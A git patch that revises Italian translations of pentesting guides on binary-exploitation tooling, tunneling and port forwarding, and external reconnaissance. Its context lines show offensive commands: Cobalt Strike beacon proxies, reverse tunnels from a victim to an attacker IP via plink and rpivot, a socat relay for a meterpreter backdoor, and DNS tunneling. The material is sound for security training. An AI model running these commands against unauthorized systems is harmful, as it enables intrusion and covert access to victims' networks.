From ac57836406530507e995e50b7178891b133a3e58 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 5 Jan 2025 21:03:09 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met --- .../tools/README.md | 32 ++--- .../tunneling-and-port-forwarding.md | 42 +++---- .../external-recon-methodology/README.md | 68 +++++----- .../pentesting-methodology.md | 10 +- .../phishing-documents.md | 12 +- .../escaping-from-gui-applications.md | 62 ++++----- .../privilege-escalation/README.md | 112 ++++++++--------- .../9200-pentesting-elasticsearch.md | 14 +-- .../pentesting-ftp/README.md | 26 ++-- .../README.md | 48 +++---- .../iis-internet-information-services.md | 18 +-- .../pentesting-web/php-tricks-esp/README.md | 32 ++--- .../pentesting-web/put-method-webdav.md | 10 +- src/pentesting-web/clickjacking.md | 20 +-- .../exploiting-__viewstate-parameter.md | 22 ++-- src/pentesting-web/email-injections.md | 30 ++--- src/pentesting-web/file-inclusion/README.md | 52 ++++---- src/pentesting-web/ldap-injection.md | 6 +- src/pentesting-web/open-redirect.md | 4 +- src/pentesting-web/saml-attacks/README.md | 36 +++--- src/pentesting-web/sql-injection/README.md | 34 ++--- ...and-ntlm-chanllenge-response-disclosure.md | 10 +- ...ble-stylesheet-language-transformations.md | 14 ++- .../xss-cross-site-scripting/README.md | 68 +++++----- .../xxe-xee-xml-external-entity.md | 40 +++--- .../cheat-engine.md | 14 +-- src/todo/hardware-hacking/radio.md | 28 ++--- .../1.-tokenizing.md | 10 +- .../active-directory-methodology/README.md | 54 ++++---- .../printers-spooler-service-abuse.md | 10 +- src/windows-hardening/ntlm/README.md | 24 ++-- .../README.md | 118 +++++++++--------- 32 files changed, 542 insertions(+), 538 deletions(-) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 683fa6a04..01d1e3e67 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -121,7 +121,7 @@ gef➤ pattern search 0x6261617762616176 #### GDB stessi indirizzi -Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli utilizzati dal binario quando eseguito.** Puoi far sì che GDB abbia gli stessi indirizzi facendo: +Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli utilizzati dal binario quando eseguito.** Puoi far sì che GDB abbia gli stessi indirizzi eseguendo: - `unset env LINES` - `unset env COLUMNS` @@ -131,8 +131,8 @@ Durante il debug, GDB avrà **indirizzi leggermente diversi rispetto a quelli ut #### Backtrace per trovare le funzioni chiamate -Quando hai un **binario collegato staticamente**, tutte le funzioni apparterranno al binario (e non a librerie esterne). In questo caso sarà difficile **identificare il flusso che il binario segue per esempio per richiedere input all'utente.**\ -Puoi facilmente identificare questo flusso **eseguendo** il binario con **gdb** fino a quando ti viene chiesto di inserire un input. Poi, fermalo con **CTRL+C** e usa il comando **`bt`** (**backtrace**) per vedere le funzioni chiamate: +Quando hai un **binario staticamente collegato**, tutte le funzioni apparterranno al binario (e non a librerie esterne). In questo caso sarà difficile **identificare il flusso che il binario segue per esempio per richiedere input all'utente.**\ +Puoi facilmente identificare questo flusso **eseguendo** il binario con **gdb** fino a quando non ti viene chiesto di inserire un input. Poi, fermalo con **CTRL+C** e usa il comando **`bt`** (**backtrace**) per vedere le funzioni chiamate: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -151,7 +151,7 @@ gef➤ bt **Ghidra** è molto utile per trovare l'**offset** per un **buffer overflow grazie alle informazioni sulla posizione delle variabili locali.**\ Ad esempio, nell'esempio qui sotto, un buffer flow in `local_bc` indica che hai bisogno di un offset di `0xbc`. Inoltre, se `local_10` è un canary cookie, indica che per sovrascriverlo da `local_bc` c'è un offset di `0xac`.\ -&#xNAN;_Remember che i primi 0x08 da dove viene salvato il RIP appartengono al RBP._ +_Remember che i primi 0x08 da dove viene salvato il RIP appartengono al RBP._ ![](<../../../images/image (1061).png>) @@ -159,29 +159,29 @@ Ad esempio, nell'esempio qui sotto, un buffer flow in `local_bc` indica che hai ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` -Ottieni ogni opcode eseguito nel programma. +Get every opcode executed in the program. ## GCC **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compila senza protezioni\ -&#xNAN;**-o** --> Output\ -&#xNAN;**-g** --> Salva il codice (GDB sarà in grado di vederlo)\ +**-o** --> Output\ +**-g** --> Salva il codice (GDB sarà in grado di vederlo)\ **echo 0 > /proc/sys/kernel/randomize_va_space** --> Per disattivare l'ASLR in linux -**Per compilare uno shellcode:**\ +**Per compilare un shellcode:**\ **nasm -f elf assembly.asm** --> restituisce un ".o"\ **ld assembly.o -o shellcodeout** --> Eseguibile ## Objdump -**-d** --> **Disassembla** le sezioni eseguibili (vedi opcodes di uno shellcode compilato, trova ROP Gadgets, trova indirizzo della funzione...)\ -&#xNAN;**-Mintel** --> **Sintassi** Intel\ -&#xNAN;**-t** --> Tabella dei **Simboli**\ -&#xNAN;**-D** --> **Disassembla tutto** (indirizzo di variabile statica)\ -&#xNAN;**-s -j .dtors** --> sezione dtors\ -&#xNAN;**-s -j .got** --> sezione got\ +**-d** --> **Disassembla** sezioni eseguibili (vedi opcodes di un shellcode compilato, trova ROP Gadgets, trova indirizzo della funzione...)\ +**-Mintel** --> Sintassi **Intel**\ +**-t** --> Tabella dei **Simboli**\ +**-D** --> **Disassembla tutto** (indirizzo di variabile statica)\ +**-s -j .dtors** --> sezione dtors\ +**-s -j .got** --> sezione got\ -D -s -j .plt --> sezione **plt** **decompilata**\ -&#xNAN;**-TR** --> **Ridenominazioni**\ +**-TR** --> **Ridenominazioni**\ **ojdump -t --dynamic-relo ./exec | grep puts** --> Indirizzo di "puts" da modificare in GOT\ **objdump -D ./exec | grep "VAR_NAME"** --> Indirizzo di una variabile statica (queste sono memorizzate nella sezione DATA). @@ -214,7 +214,7 @@ All'interno della cartella IDA puoi trovare binari che possono essere utilizzati ``` ./linux_server64 -Ppass ``` -Quindi, configura il debugger: Debugger (linux remoto) --> Opzioni di processo...: +Quindi, configura il debugger: Debugger (linux remote) --> Opzioni di processo...: ![](<../../../images/image (858).png>) diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index f029761ac..47c99d99a 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,8 +1,8 @@ -# Tunneling e Port Forwarding +# Tunneling and Port Forwarding {{#include ../banners/hacktricks-training.md}} -## Suggerimento Nmap +## Nmap tip > [!WARNING] > **ICMP** e **SYN** scans non possono essere tunnelizzati attraverso proxy socks, quindi dobbiamo **disabilitare la scoperta ping** (`-Pn`) e specificare **scansioni TCP** (`-sT`) affinché questo funzioni. @@ -78,7 +78,7 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` -Abilita l'inoltro lato Server +Abilita l'inoltro sul lato Server ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE @@ -90,7 +90,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ## SSHUTTLE Puoi **tunneling** tramite **ssh** tutto il **traffico** verso una **sottorete** attraverso un host.\ -Ad esempio, inoltrando tutto il traffico diretto a 10.10.10.0/24 +Ad esempio, inoltrando tutto il traffico che va a 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 @@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS proxy -Apri una porta nel teamserver in ascolto su tutte le interfacce che possono essere utilizzate per **instradare il traffico attraverso il beacon**. +Apri una porta nel teamserver in ascolto su tutte le interfacce che può essere utilizzata per **instradare il traffico attraverso il beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -152,8 +152,8 @@ rportfwd stop [bind port] ``` Da notare: -- Il reverse port forward di Beacon è progettato per **tunnellare il traffico verso il Team Server, non per il relay tra macchine individuali**. -- Il traffico è **tunnellato all'interno del traffico C2 di Beacon**, inclusi i link P2P. +- Il reverse port forward di Beacon è progettato per **tunnelare il traffico verso il Team Server, non per il relay tra macchine individuali**. +- Il traffico è **tunnelato all'interno del traffico C2 di Beacon**, inclusi i link P2P. - **I privilegi di amministratore non sono richiesti** per creare reverse port forwards su porte alte. ### rPort2Port locale @@ -227,7 +227,7 @@ listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp # Display the currently running listeners on the agent -- Attacker listener_list ``` -### Accesso alle porte locali dell'agente +### Accedi alle porte locali dell'agente ```bash # Establish a tunnel from the proxy server to the agent # Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker @@ -237,7 +237,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32 [https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot) -Tunnel inverso. Il tunnel è avviato dalla vittima.\ +Tunnel inverso. Il tunnel viene avviato dalla vittima.\ Viene creato un proxy socks4 su 127.0.0.1:1080 ```bash attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 @@ -276,7 +276,7 @@ socat TCP4-LISTEN:,fork TCP4:: & ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` -### Meterpreter tramite SSL Socat +### Meterpreter attraverso SSL Socat ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -320,7 +320,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o È come una versione console di PuTTY (le opzioni sono molto simili a quelle di un client ssh). -Poiché questo binario verrà eseguito nella vittima ed è un client ssh, dobbiamo aprire il nostro servizio e la nostra porta ssh in modo da poter avere una connessione inversa. Quindi, per inoltrare solo una porta accessibile localmente a una porta nella nostra macchina: +Poiché questo binario verrà eseguito nella vittima ed è un client ssh, dobbiamo aprire il nostro servizio ssh e la porta in modo da poter avere una connessione inversa. Quindi, per inoltrare solo una porta accessibile localmente a una porta nella nostra macchina: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -341,7 +341,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` ## SocksOverRDP & Proxifier -È necessario avere **accesso RDP al sistema**.\ +È necessario avere **accesso RDP sul sistema**.\ Scarica: 1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzione Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti sulla connessione RDP**. @@ -352,9 +352,9 @@ Nel tuo computer client carica **`SocksOverRDP-Plugin.dll`** in questo modo: # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Ora possiamo **connetterci** alla **vittima** tramite **RDP** usando **`mstsc.exe`**, e dovremmo ricevere un **messaggio** che dice che il **plugin SocksOverRDP è abilitato**, e ascolterà su **127.0.0.1:1080**. +Ora possiamo **connetterci** alla **vittima** tramite **RDP** utilizzando **`mstsc.exe`**, e dovremmo ricevere un **messaggio** che dice che il **plugin SocksOverRDP è abilitato**, e ascolterà su **127.0.0.1:1080**. -**Connetti** tramite **RDP** e carica ed esegui nella macchina della vittima il binario `SocksOverRDP-Server.exe`: +**Connetti** tramite **RDP** e carica ed esegui nel computer della vittima il binario `SocksOverRDP-Server.exe`: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` @@ -362,13 +362,13 @@ Ora, conferma nella tua macchina (attaccante) che la porta 1080 è in ascolto: ``` netstat -antb | findstr 1080 ``` -Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per fare il proxy del traffico attraverso quella porta.** +Ora puoi utilizzare [**Proxifier**](https://www.proxifier.com/) **per proxyare il traffico attraverso quella porta.** ## Proxifica le app GUI di Windows -Puoi fare in modo che le app GUI di Windows navigano attraverso un proxy usando [**Proxifier**](https://www.proxifier.com/).\ +Puoi fare in modo che le app GUI di Windows navigano attraverso un proxy utilizzando [**Proxifier**](https://www.proxifier.com/).\ In **Profile -> Proxy Servers** aggiungi l'IP e la porta del server SOCKS.\ -In **Profile -> Proxification Rules** aggiungi il nome del programma da proxificare e le connessioni agli IP che vuoi proxificare. +In **Profile -> Proxification Rules** aggiungi il nome del programma da proxyare e le connessioni agli IP che desideri proxyare. ## Bypass del proxy NTLM @@ -391,7 +391,7 @@ Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` Ora, se imposti ad esempio nel bersaglio il servizio **SSH** per ascoltare sulla porta 443. Puoi connetterti ad esso attraverso la porta 2222 dell'attaccante.\ -Potresti anche usare un **meterpreter** che si connette a localhost:443 e l'attaccante sta ascoltando sulla porta 2222. +Puoi anche utilizzare un **meterpreter** che si connette a localhost:443 e l'attaccante sta ascoltando sulla porta 2222. ## YARP @@ -403,7 +403,7 @@ Un reverse proxy creato da Microsoft. Puoi trovarlo qui: [https://github.com/mic [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -È necessario avere i permessi di root in entrambi i sistemi per creare adattatori tun e tunnelare i dati tra di essi utilizzando query DNS. +È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e tunnelare dati tra di essi utilizzando query DNS. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r @@ -440,7 +440,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Cambiare il DNS di proxychains -Proxychains intercetta la chiamata `gethostbyname` della libc e instrada la richiesta DNS tcp attraverso il proxy socks. Per **default** il server **DNS** che proxychains utilizza è **4.2.2.2** (hardcoded). Per cambiarlo, modifica il file: _/usr/lib/proxychains3/proxyresolv_ e cambia l'IP. Se sei in un **ambiente Windows** potresti impostare l'IP del **domain controller**. +Proxychains intercetta la chiamata `gethostbyname` della libc e instrada la richiesta DNS tcp attraverso il proxy socks. Per **default** il server **DNS** che proxychains utilizza è **4.2.2.2** (hardcoded). Per cambiarlo, modifica il file: _/usr/lib/proxychains3/proxyresolv_ e cambia l'IP. Se sei in un **ambiente Windows** puoi impostare l'IP del **domain controller**. ## Tunnel in Go @@ -478,7 +478,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **è uno strumento per esporre soluzioni a Internet con un'unica riga di comando.**\ -&#xNAN;_Exposition URI sono come:_ **UID.ngrok.io** +_Exposition URI sono come:_ **UID.ngrok.io** ### Installazione diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md index 9882915de..534ad49d6 100644 --- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md +++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md @@ -10,8 +10,8 @@ L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla societ 1. Trovare le acquisizioni della società principale, questo ci darà le aziende all'interno dell'ambito. 2. Trovare l'ASN (se presente) di ciascuna azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda. -3. Utilizzare ricerche whois inverse per cercare altre voci (nomi delle organizzazioni, domini...) correlate alla prima (questo può essere fatto in modo ricorsivo). -4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto in modo ricorsivo). +3. Utilizzare ricerche whois inverse per cercare altre voci (nomi di organizzazioni, domini...) correlate alla prima (questo può essere fatto ricorsivamente). +4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto ricorsivamente). ### **Acquisizioni** @@ -52,7 +52,7 @@ bbot -t tesla.com -f subdomain-enum ``` Puoi trovare gli intervalli IP di un'organizzazione anche utilizzando [http://asnlookup.com/](http://asnlookup.com) (ha un'API gratuita).\ -Puoi trovare l'IP e l'ASN di un dominio utilizzando [http://ipv4info.com/](http://ipv4info.com). +Puoi trovare l'IP e l'ASN di un dominio usando [http://ipv4info.com/](http://ipv4info.com). ### **Cercare vulnerabilità** @@ -82,7 +82,7 @@ Puoi anche utilizzare uno strumento online per queste informazioni: [http://ptra ### **Reverse Whois (loop)** -All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **ulteriori asset correlati all'azienda** se esegui **ricerche reverse whois per uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\ +All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **altri asset correlati all'azienda** se esegui **ricerche reverse whois per uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\ Puoi utilizzare strumenti online come: - [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito** @@ -93,7 +93,7 @@ Puoi utilizzare strumenti online come: - [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Non gratuito (solo **100 ricerche gratuite**) - [https://www.domainiq.com/](https://www.domainiq.com) - Non gratuito -Puoi automatizzare questo compito utilizzando [**DomLink** ](https://github.com/vysecurity/DomLink) (richiede una chiave API whoxy).\ +Puoi automatizzare questo compito utilizzando [**DomLink** ](https://github.com/vysecurity/DomLink)(richiede una chiave API whoxy).\ Puoi anche eseguire alcune scoperte automatiche di reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` **Nota che puoi utilizzare questa tecnica per scoprire più nomi di dominio ogni volta che trovi un nuovo dominio.** @@ -101,7 +101,7 @@ Puoi anche eseguire alcune scoperte automatiche di reverse whois con [amass](htt ### **Trackers** Se trovi lo **stesso ID dello stesso tracker** in 2 pagine diverse puoi supporre che **entrambe le pagine** siano **gestite dallo stesso team**.\ -Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su diverse pagine. +Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su più pagine. Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altro: @@ -169,7 +169,7 @@ Apparentemente è comune per le persone assegnare sottodomini a IP che apparteng **Shodan** -Come già sai il nome dell'organizzazione proprietaria dello spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS. +Come già sai il nome dell'organizzazione che possiede lo spazio IP. Puoi cercare quei dati in shodan usando: `org:"Tesla, Inc."` Controlla gli host trovati per nuovi domini inaspettati nel certificato TLS. Potresti accedere al **certificato TLS** della pagina web principale, ottenere il **nome dell'organizzazione** e poi cercare quel nome all'interno dei **certificati TLS** di tutte le pagine web conosciute da **shodan** con il filtro: `ssl:"Tesla Motors"` o utilizzare uno strumento come [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). @@ -181,8 +181,8 @@ Potresti accedere al **certificato TLS** della pagina web principale, ottenere i Controlla per qualche [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Forse qualche azienda sta **utilizzando un dominio** ma ha **perso la proprietà**. Registralo (se abbastanza economico) e fai sapere all'azienda. -Se trovi qualche **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e qualche [**port scan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\ -&#xNAN;_Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nel campo, fai attenzione._ +Se trovi qualche **dominio con un IP diverso** da quelli già trovati nella scoperta degli asset, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e qualche [**scansione delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\ +_Nota che a volte il dominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nel campo, fai attenzione._ ## Sottodomini @@ -341,7 +341,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` -- [**gobuster**](https://github.com/OJ/gobuster): Penso che questo utilizzi solo 1 risolutore +- [**gobuster**](https://github.com/OJ/gobuster): Penso che questo utilizzi solo 1 risolutore. ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` @@ -353,11 +353,11 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` puredns bruteforce all.txt domain.com ``` -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilizza asyncio per forzare in modo brutale i nomi di dominio in modo asincrono. +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) utilizza asyncio per forzare in modo asincrono i nomi di dominio. ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` -### Second DNS Brute-Force Round +### Seconda fase di brute-force DNS Dopo aver trovato i sottodomini utilizzando fonti aperte e brute-forcing, puoi generare alterazioni dei sottodomini trovati per cercare di trovarne ancora di più. Diversi strumenti sono utili a questo scopo: @@ -365,8 +365,8 @@ Dopo aver trovato i sottodomini utilizzando fonti aperte e brute-forcing, puoi g ```bash cat subdomains.txt | dnsgen - ``` -- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati i domini e i sottodomini generare permutazioni. -- Puoi ottenere le permutazioni di goaltdns **wordlist** in [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt). +- [**goaltdns**](https://github.com/subfinder/goaltdns): Dati i domini e i sottodomini, genera permutazioni. +- Puoi ottenere le permutazioni di goaltdns **wordlist** [**qui**](https://github.com/subfinder/goaltdns/blob/master/words.txt). ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` @@ -375,7 +375,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3 gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - [**altdns**](https://github.com/infosec-au/altdns): Oltre a generare permutazioni di sottodomini, può anche provare a risolverli (ma è meglio usare gli strumenti commentati in precedenza). -- Puoi ottenere le permutazioni di altdns **wordlist** **qui** [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt). +- Puoi ottenere le permutazioni di altdns **wordlist** in [**qui**](https://github.com/infosec-au/altdns/blob/master/words.txt). ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` @@ -401,7 +401,7 @@ echo www | subzuf facebook.com ``` ### **Flusso di lavoro per la scoperta di sottodomini** -Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** in modo da non dover avviare manualmente un sacco di strumenti sul mio computer: +Controlla questo post del blog che ho scritto su come **automatizzare la scoperta di sottodomini** da un dominio utilizzando **Trickest workflows** così non devo avviare manualmente un sacco di strumenti sul mio computer: {{#ref}} https://trickest.com/blog/full-subdomain-discovery-using-workflow/ @@ -451,22 +451,22 @@ Inoltre, poiché a questo punto conoscerai tutti i domini all'interno dell'ambit ### **Monitorizzazione** -Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monitorando i **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)lo fa. +Puoi **monitorare** se vengono creati **nuovi sottodomini** di un dominio monitorando i **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)fa. ### **Cercare vulnerabilità** -Controlla possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ +Controlla per possibili [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Se il **sottodominio** punta a qualche **S3 bucket**, [**controlla i permessi**](../../network-services-pentesting/pentesting-web/buckets/index.html). Se trovi un **sottodominio con un IP diverso** da quelli che hai già trovato nella scoperta delle risorse, dovresti eseguire una **scansione di vulnerabilità di base** (utilizzando Nessus o OpenVAS) e una [**scansione delle porte**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. A seconda dei servizi in esecuzione, puoi trovare in **questo libro alcuni trucchi per "attaccarli"**.\ -&#xNAN;_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._ +_Nota che a volte il sottodominio è ospitato all'interno di un IP che non è controllato dal cliente, quindi non è nell'ambito, fai attenzione._ ## IPs -Nei passaggi iniziali potresti aver **trovato alcuni intervalli IP, domini e sottodomini**.\ +Nei passaggi iniziali potresti aver **trovato alcuni intervalli di IP, domini e sottodomini**.\ È tempo di **raccogliere tutti gli IP da quegli intervalli** e per i **domini/sottodomini (query DNS).** -Utilizzando i servizi delle seguenti **api gratuite**, puoi anche trovare **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) +Utilizzando i servizi delle seguenti **api gratuite** puoi anche trovare **IP precedenti utilizzati da domini e sottodomini**. Questi IP potrebbero ancora essere di proprietà del cliente (e potrebbero permetterti di trovare [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)) - [**https://securitytrails.com/**](https://securitytrails.com/) @@ -474,15 +474,15 @@ Puoi anche controllare i domini che puntano a un indirizzo IP specifico utilizza ### **Cercare vulnerabilità** -**Scansiona tutte le porte degli IP che non appartengono a CDNs** (poiché probabilmente non troverai nulla di interessante lì). Nei servizi in esecuzione scoperti potresti essere **in grado di trovare vulnerabilità**. +**Scansiona tutte le porte degli IP che non appartengono a CDN** (poiché è altamente probabile che non troverai nulla di interessante lì). Nei servizi in esecuzione scoperti potresti essere **in grado di trovare vulnerabilità**. **Trova una** [**guida**](../pentesting-network/index.html) **su come scansionare gli host.** ## Caccia ai server web -> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli IP, i domini e i sottodomini all'interno dell'ambito. È tempo di cercare server web. +> Abbiamo trovato tutte le aziende e i loro asset e conosciamo gli intervalli di IP, domini e sottodomini all'interno dell'ambito. È tempo di cercare server web. -Nei passaggi precedenti probabilmente hai già eseguito alcune **ricerche sugli IP e domini scoperti**, quindi potresti aver **già trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi rapidi per cercare server web** all'interno dell'ambito. +Nei passaggi precedenti probabilmente hai già eseguito alcune **ricerche sugli IP e domini scoperti**, quindi potresti aver **già trovato tutti i possibili server web**. Tuttavia, se non lo hai fatto, ora vedremo alcuni **trucchi veloci per cercare server web** all'interno dell'ambito. Si prega di notare che questo sarà **orientato alla scoperta di app web**, quindi dovresti **eseguire la scansione delle vulnerabilità** e **scansione delle porte** anche (**se consentito** dall'ambito). @@ -494,7 +494,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a ``` ### **Screenshot** -Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare **endpoint strani** che sono più **suscettibili** di essere **vulnerabili**. +Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare endpoint **strani** che sono più **suscettibili** di essere **vulnerabili**. Per eseguire l'idea proposta puoi usare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.** @@ -502,7 +502,7 @@ Inoltre, potresti poi usare [**eyeballer**](https://github.com/BishopFox/eyeball ## Risorse Cloud Pubbliche -Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto di un'azienda crypto potresti usare parole come: `"crypto", "wallet", "dao", "", <"subdomain_names">`. +Per trovare potenziali risorse cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto di una compagnia crypto potresti usare parole come: `"crypto", "wallet", "dao", "", <"subdomain_names">`. 